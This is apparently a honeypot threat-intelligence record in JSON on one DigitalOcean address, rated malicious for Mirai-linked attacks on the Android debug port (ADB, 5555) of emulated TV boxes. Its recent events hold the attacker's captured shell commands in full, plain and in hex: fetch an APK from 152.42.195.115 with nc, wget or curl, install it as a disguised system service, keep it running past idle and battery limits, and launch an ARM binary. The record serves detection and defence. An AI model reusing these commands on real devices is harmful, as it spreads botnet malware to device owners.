{"ip":"157.230.244.245","data_as_of":"2026-10-26T23:02:13+00:00","observed":true,"total_events":15,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"9 interactive session(s) ran commands after logging in","confidence":"high","network_type":"CDN","why":["9 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 15 event(s) from this address as well.","Not in any known-scanner range.","Sent 1,829,235 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"1,829,235 bytes sent","bytes_sent":1829235,"session_seconds":8,"persistent":false},"basis":"interactive"},"first_seen":"2026-10-21T20:32:38","last_seen":"2026-10-26T19:10:36","events_24h":8,"events_7d":15,"interactive_sessions":13,"interactive_sessions_24h":4,"interactive_sessions_7d":13,"interactive_protocols":[{"protocol":"adb","sessions":9}],"geo":{"country_code":"SG","country_name":"Singapore","region":"","city":"Singapore","lat":1.314,"lon":103.6839,"asn":14061,"org":"DigitalOcean, LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as14061","label":"DigitalOcean","category":"cdn","url":"https://www.peeringdb.com/asn/14061"},"cve_matches":[],"malware":[{"sha256":"5c0771f5592ae3414d6468ad5f34e2f27291c9af8d6d72b770ee6e767bb5834e","family":"mirai","vt_name":"","malicious":38,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":5555,"hits":3,"last_seen":"2026-10-25 05:10:26"}],"udp":null,"interaction":{"window_days":90,"sessions":13,"first_seen":"2026-10-21T20:32:38","last_seen":"2026-10-26T18:19:20","verdicts":[{"verdict":"post-exploitation","sessions":9},{"verdict":"unknown","sessions":4}],"personas":[{"persona":"adb@Android 9 TV box","sessions":5},{"persona":"adb@Android 7.1 TV box","sessions":4}],"services":[{"protocol":"adb","port":5555,"sessions":9},{"protocol":"tcp","port":61616,"sessions":4}],"logins":[],"commands":[],"downloads":[{"url":"[http]://152[.]42[.]195[.]115/sysupdate.apk","host":"152[.]42[.]195[.]115","sessions":9,"first_seen":"2026-10-25T05:10:26","last_seen":"2026-10-26T18:19:20","virustotal":{"sha256":"5c0771f5592ae3414d6468ad5f34e2f27291c9af8d6d72b770ee6e767bb5834e","status":"known","malicious":38,"total":75,"name":""}}],"files":[{"sha256":"6f37c314f1f1683934ab110ed3ba4420fde34302c3dc001c3f8dc392af265cb6","name":"shell-4","size":858,"mime_type":"text/plain","kind":"adb-command","times":9,"first_seen":"2026-10-25T05:10:25","last_seen":"2026-10-26T18:19:19","virustotal":null},{"sha256":"894d18dd857577f065b5daa644cd2ff21764b17cd24e4d433140258323eb505e","name":"shell-3","size":160,"mime_type":"text/plain","kind":"adb-command","times":9,"first_seen":"2026-10-25T05:10:25","last_seen":"2026-10-26T18:19:19","virustotal":null},{"sha256":"0df9d57bebed7296e00b802cb0b51d74622470cc7d94570292f2ed658e17b9c7","name":"stream-2","size":4796,"mime_type":"application/octet-stream","kind":"adb-data","times":9,"first_seen":"2026-10-25T05:10:25","last_seen":"2026-10-26T18:19:19","virustotal":null},{"sha256":"01d6d0d75eb78db3b645a28aa138214657eaf85d3fad429e70196c2786ed9207","name":"stream-2","size":20000,"mime_type":"application/octet-stream","kind":"adb-data","times":9,"first_seen":"2026-10-25T05:10:25","last_seen":"2026-10-26T18:19:17","virustotal":null},{"sha256":"eee396b0e403d62bf9dfde5fd65d4d8da9df3aa1cd3e83d4f79576eb63439dc3","name":"stream-2","size":20000,"mime_type":"application/octet-stream","kind":"adb-data","times":9,"first_seen":"2026-10-25T05:10:24","last_seen":"2026-10-26T18:19:16","virustotal":null},{"sha256":"7f5e506da87e25beda38100e22248479f847b5f4669dac39c88bd893dcc2ea23","name":"stream-2","size":20000,"mime_type":"application/octet-stream","kind":"adb-data","times":9,"first_seen":"2026-10-25T05:10:24","last_seen":"2026-10-26T18:19:15","virustotal":null},{"sha256":"7f6c7b6171b340cac331eaa74b1d27f31dc4ca682e2dd6c728c0ed71df5af8d0","name":"stream-2","size":39,"mime_type":"application/octet-stream","kind":"adb-data","times":9,"first_seen":"2026-10-25T05:10:24","last_seen":"2026-10-26T18:19:15","virustotal":null},{"sha256":"ac869e33786e8bf7994e435a2026d94402b2d74eedf6ca3ad56387bb0ff4fceb","name":"shell-1","size":99,"mime_type":"text/plain","kind":"adb-command","times":9,"first_seen":"2026-10-25T05:10:23","last_seen":"2026-10-26T18:19:14","virustotal":null},{"sha256":"3e8f5fbb1d6270018d6e181027e0b6f349e48844dab819641b22888451391af8","name":"stream-2","size":8,"mime_type":"text/plain","kind":"adb-data","times":1,"first_seen":"2026-10-26T18:19:19","last_seen":"2026-10-26T18:19:19","virustotal":null},{"sha256":"facd925e1c2c15f8e179a2c92d8161e792d5eca64f2df0fee3396c68770a84e7","name":"stream-2","size":8,"mime_type":"text/plain","kind":"adb-data","times":1,"first_seen":"2026-10-26T16:09:21","last_seen":"2026-10-26T16:09:21","virustotal":null},{"sha256":"fb95fd1810c787acd772a5da9b3e35cc0d3e207d0d0f38717c71596c74ca84e3","name":"stream-2","size":8,"mime_type":"text/plain","kind":"adb-data","times":1,"first_seen":"2026-10-26T08:06:06","last_seen":"2026-10-26T08:06:06","virustotal":null},{"sha256":"f4e6dfaa0c9718a5a11213eb96ca89fbf60a2c1699720a40cafa9c974d3845a6","name":"stream-2","size":8,"mime_type":"text/plain","kind":"adb-data","times":1,"first_seen":"2026-10-26T06:49:33","last_seen":"2026-10-26T06:49:33","virustotal":null},{"sha256":"95816f3ed7e89c6f726540b01ed809fff566917eac0f2da54704c2b88afe5060","name":"stream-2","size":8,"mime_type":"text/plain","kind":"adb-data","times":1,"first_seen":"2026-10-25T22:12:48","last_seen":"2026-10-25T22:12:48","virustotal":null},{"sha256":"318af1015d0308c9defce956543226cccacf3eab2cea3d937aa2c2fe4da0eeaa","name":"stream-2","size":8,"mime_type":"text/plain","kind":"adb-data","times":1,"first_seen":"2026-10-25T21:07:20","last_seen":"2026-10-25T21:07:20","virustotal":null},{"sha256":"f0decd3f0af7e9d74992b64215cd4e19c0e9c72c99f5d8852cd39f20f0626df8","name":"stream-2","size":8,"mime_type":"text/plain","kind":"adb-data","times":1,"first_seen":"2026-10-25T15:55:14","last_seen":"2026-10-25T15:55:14","virustotal":null},{"sha256":"86d8a69c4fa0e5b44832f94919ea9f165e2ff838eb7c9049be349c5113271d79","name":"stream-2","size":8,"mime_type":"text/plain","kind":"adb-data","times":1,"first_seen":"2026-10-25T05:49:48","last_seen":"2026-10-25T05:49:48","virustotal":null},{"sha256":"ac52b6489a1af35b9072e2a0dd7e878d462ac298545d1abd01413181ffbcd207","name":"stream-2","size":8,"mime_type":"text/plain","kind":"adb-data","times":1,"first_seen":"2026-10-25T05:10:25","last_seen":"2026-10-25T05:10:25","virustotal":null}],"attack":[{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":9}]},"top_ports":[{"port":5555,"proto":"tcp","label":"","count":15,"sessions":9},{"port":61616,"proto":"tcp","label":"ActiveMQ","count":0,"sessions":4}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-21","count":0,"sessions":1},{"date":"2026-10-22","count":0,"sessions":2},{"date":"2026-10-23","count":0,"sessions":1},{"date":"2026-10-25","count":7,"sessions":5},{"date":"2026-10-26","count":8,"sessions":4}],"recent_events":[{"timestamp":"2026-10-26T19:10:36","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0001\u0000\u0000\u0001\u0000\u0000\u0010\u0000D\u0000\u0000\u0000T\u0019\u0000\u0000����host::features=cmd,stat_v2,ls_v2,fixed_push_mkdir,apex,abb,abb_exec\u0000","payload_hex":"434e584e01000001000010004400000054190000bcb1a7b1686f73743a3a66656174757265733d636d642c737461745f76322c6c735f76322c66697865645f707573685f6d6b6469722c617065782c6162622c6162625f6578656300","method":"","user_agent":"","ja3":"","session":"2a68a3b5-2b41-4df5-abfd-f5177248a121","seq":1,"duration_ms":100,"bytes_in":92,"bytes_out":15,"enriched":{"digest":"c2d904f6e821a3ab","strings":["CNXN","host::features=cmd,stat_v2,ls_v2,fixed_push_mkdir,apex,abb,abb_exec"]}},{"timestamp":"2026-10-26T19:06:01","port":5555,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0001\u0000\u0000\u0001\u0000\u0000\u0010\u0000D\u0000\u0000\u0000T\u0019\u0000\u0000����host::features=cmd,stat_v2,ls_v2,fixed_push_mkdir,apex,abb,abb_exec\u0000","payload_hex":"434e584e01000001000010004400000054190000bcb1a7b1686f73743a3a66656174757265733d636d642c737461745f76322c6c735f76322c66697865645f707573685f6d6b6469722c617065782c6162622c6162625f6578656300","method":"","user_agent":"","ja3":"","session":"b10e0a7a-fae6-4e61-a325-e5859effc704","seq":1,"duration_ms":100,"bytes_in":92,"bytes_out":15,"enriched":{"digest":"c2d904f6e821a3ab","strings":["CNXN","host::features=cmd,stat_v2,ls_v2,fixed_push_mkdir,apex,abb,abb_exec"]}},{"timestamp":"2026-10-26T18:19:20","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CLSE\u0005\u0000\u0000\u0000\u0004\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000����","payload_hex":"434c534505000000040000000000000000000000bcb3acba","method":"","user_agent":"","ja3":"","session":"6bccd26a-b458-41d0-9f67-33c92c6ad2b7-31","seq":31,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"5b8720ae39617e02","strings":["CLSE"]},"interactive":true},{"timestamp":"2026-10-26T18:19:20","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OKAY\u0005\u0000\u0000\u0000\u0004\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000����","payload_hex":"4f4b415905000000040000000000000000000000b0b4bea6","method":"","user_agent":"","ja3":"","session":"6bccd26a-b458-41d0-9f67-33c92c6ad2b7-30","seq":30,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"31e9f99c42412e2f","strings":["OKAY"]},"interactive":true},{"timestamp":"2026-10-26T18:19:19","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPEN\u0005\u0000\u0000\u0000\u0000\u0000\u0000\u0000a\u0003\u0000\u0000\u0004$\u0001\u0000����shell:nc -w 4 152.42.195.115 4444 > /data/local/tmp/sysupdate.apk 2>/dev/null || wget -q -O /data/local/tmp/sysupdate.apk http://152.42.195.115/sysupdate.apk 2>/dev/null || curl -s -o /data/local/tmp/sysupdate.apk http://152.42.195.115/sysupdate.apk 2>/dev/null; pm install -r -g /data/local/tmp/sysupdate.apk >/dev/null 2>&1; am start-foreground-service -n com.android.system.service/.KyorijService >/dev/null 2>&1; am startservice -n com.android.system.service/.KyorijService >/dev/null 2>&1; am broadcast -a android.intent.action.BOOT_COMPLETED -n com.android.system.service/.BootReceiver >/dev/null 2>&1; cmd deviceidle whitelist +com.android.system.service >/dev/null 2>&1; cmd appops set com.android.system.service RUN_IN_BACKGROUND allow >/dev/null 2>&1; cmd appops set com.android.system.service REQUEST_IGNORE_BATTERY_OPTIMIZATIONS allow >/dev/null 2>&1 &\u0000","payload_hex":"4f50454e05000000000000006103000004240100b0afbab17368656c6c3a6e63202d772034203135322e34322e3139352e3131352034343434203e202f646174612f6c6f63616c2f746d702f7379737570646174652e61706b20323e2f6465762f6e756c6c207c7c2077676574202d71202d4f202f646174612f6c6f63616c2f746d702f7379737570646174652e61706b20687474703a2f2f3135322e34322e3139352e3131352f7379737570646174652e61706b20323e2f6465762f6e756c6c207c7c206375726c202d73202d6f202f646174612f6c6f63616c2f746d702f7379737570646174652e61706b20687474703a2f2f3135322e34322e3139352e3131352f7379737570646174652e61706b20323e2f6465762f6e756c6c3b20706d20696e7374616c6c202d72202d67202f646174612f6c6f63616c2f746d702f7379737570646174652e61706b203e2f6465762f6e756c6c20323e26313b20616d2073746172742d666f726567726f756e642d73657276696365202d6e20636f6d2e616e64726f69642e73797374656d2e736572766963652f2e4b796f72696a53657276696365203e2f6465762f6e756c6c20323e26313b20616d20737461727473657276696365202d6e20636f6d2e616e64726f69642e73797374656d2e736572766963652f2e4b796f72696a53657276696365203e2f6465762f6e756c6c20323e26313b20616d2062726f616463617374202d6120616e64726f69642e696e74656e742e616374696f6e2e424f4f545f434f4d504c45544544202d6e20636f6d2e616e64726f69642e73797374656d2e736572766963652f2e426f6f745265636569766572203e2f6465762f6e756c6c20323e26313b20636d642064657669636569646c652077686974656c697374202b636f6d2e616e64726f69642e73797374656d2e73657276696365203e2f6465762f6e756c6c20323e26313b20636d64206170706f70732073657420636f6d2e616e64726f69642e73797374656d2e736572766963652052554e5f494e5f4241434b47524f554e4420616c6c6f77203e2f6465762f6e756c6c20323e26313b20636d64206170706f70732073657420636f6d2e616e64726f69642e73797374656d2e7365727669636520524551554553545f49474e4f52455f424154544552595f4f5054494d495a4154494f4e5320616c6c6f77203e2f6465762f6e756c6c20323e2631202600","method":"","user_agent":"","ja3":"","session":"6bccd26a-b458-41d0-9f67-33c92c6ad2b7-28","seq":28,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"a267e9bf862bda68","strings":["OPEN","shell:nc -w 4 152.42.195.115 4444 > /data/local/tmp/sysupdate.apk 2>/dev/null ||…"],"iocs":{"ips":["152.42.195.115"],"domains":["sysupdate.apk"],"paths":["/data/local/tmp/sysupdate.apk","/dev/null"]}},"interactive":true},{"timestamp":"2026-10-26T18:19:19","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CLSE\u0004\u0000\u0000\u0000\u0003\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000����","payload_hex":"434c534504000000030000000000000000000000bcb3acba","method":"","user_agent":"","ja3":"","session":"6bccd26a-b458-41d0-9f67-33c92c6ad2b7-26","seq":26,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3e0cdb22c18005e5","strings":["CLSE"]},"interactive":true},{"timestamp":"2026-10-26T18:19:19","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPEN\u0004\u0000\u0000\u0000\u0000\u0000\u0000\u0000�\u0000\u0000\u000075\u0000\u0000����shell:chmod 777 /data/local/tmp/main_arm7 2>/dev/null; nohup /data/local/tmp/main_arm7 DVR2025 >/dev/null 2>&1 & (/data/local/tmp/main_arm7 DVR2025 >/dev/null 2>&1 &)\u0000","payload_hex":"4f50454e0400000000000000a700000037350000b0afbab17368656c6c3a63686d6f6420373737202f646174612f6c6f63616c2f746d702f6d61696e5f61726d3720323e2f6465762f6e756c6c3b206e6f687570202f646174612f6c6f63616c2f746d702f6d61696e5f61726d372044565232303235203e2f6465762f6e756c6c20323e2631202620282f646174612f6c6f63616c2f746d702f6d61696e5f61726d372044565232303235203e2f6465762f6e756c6c20323e263120262900","method":"","user_agent":"","ja3":"","session":"6bccd26a-b458-41d0-9f67-33c92c6ad2b7-24","seq":24,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"33fffe1f31e1008a","strings":["OPEN","shell:chmod 777 /data/local/tmp/main_arm7 2>/dev/null; nohup /data/local/tmp/mai…"],"iocs":{"paths":["/data/local/tmp/main_arm7","/dev/null","/data/local/tmp/mai"]}},"interactive":true},{"timestamp":"2026-10-26T18:19:19","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CLSE\u0003\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000����","payload_hex":"434c534503000000020000000000000000000000bcb3acba","method":"","user_agent":"","ja3":"","session":"6bccd26a-b458-41d0-9f67-33c92c6ad2b7-22","seq":22,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3a87a0176730bed2","strings":["CLSE"]},"interactive":true},{"timestamp":"2026-10-26T18:19:19","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OKAY\u0003\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000����","payload_hex":"4f4b415903000000020000000000000000000000b0b4bea6","method":"","user_agent":"","ja3":"","session":"6bccd26a-b458-41d0-9f67-33c92c6ad2b7-21","seq":21,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"a9e0eaa436c482f1","strings":["OKAY"]},"interactive":true},{"timestamp":"2026-10-26T18:19:19","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"WRTE\u0003\u0000\u0000\u0000\u0002\u0000\u0000\u0000\b\u0000\u0000\u0000�\u0003\u0000\u0000����DONE���j","payload_hex":"57525445030000000200000008000000af030000a8adabba444f4e45a799df6a","method":"","user_agent":"","ja3":"","session":"6bccd26a-b458-41d0-9f67-33c92c6ad2b7-19","seq":19,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"078d02d680466c0c","strings":["WRTE","DONE"]},"interactive":true}],"http_methods":[],"distinct_ports_total":2,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":9},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":9}]}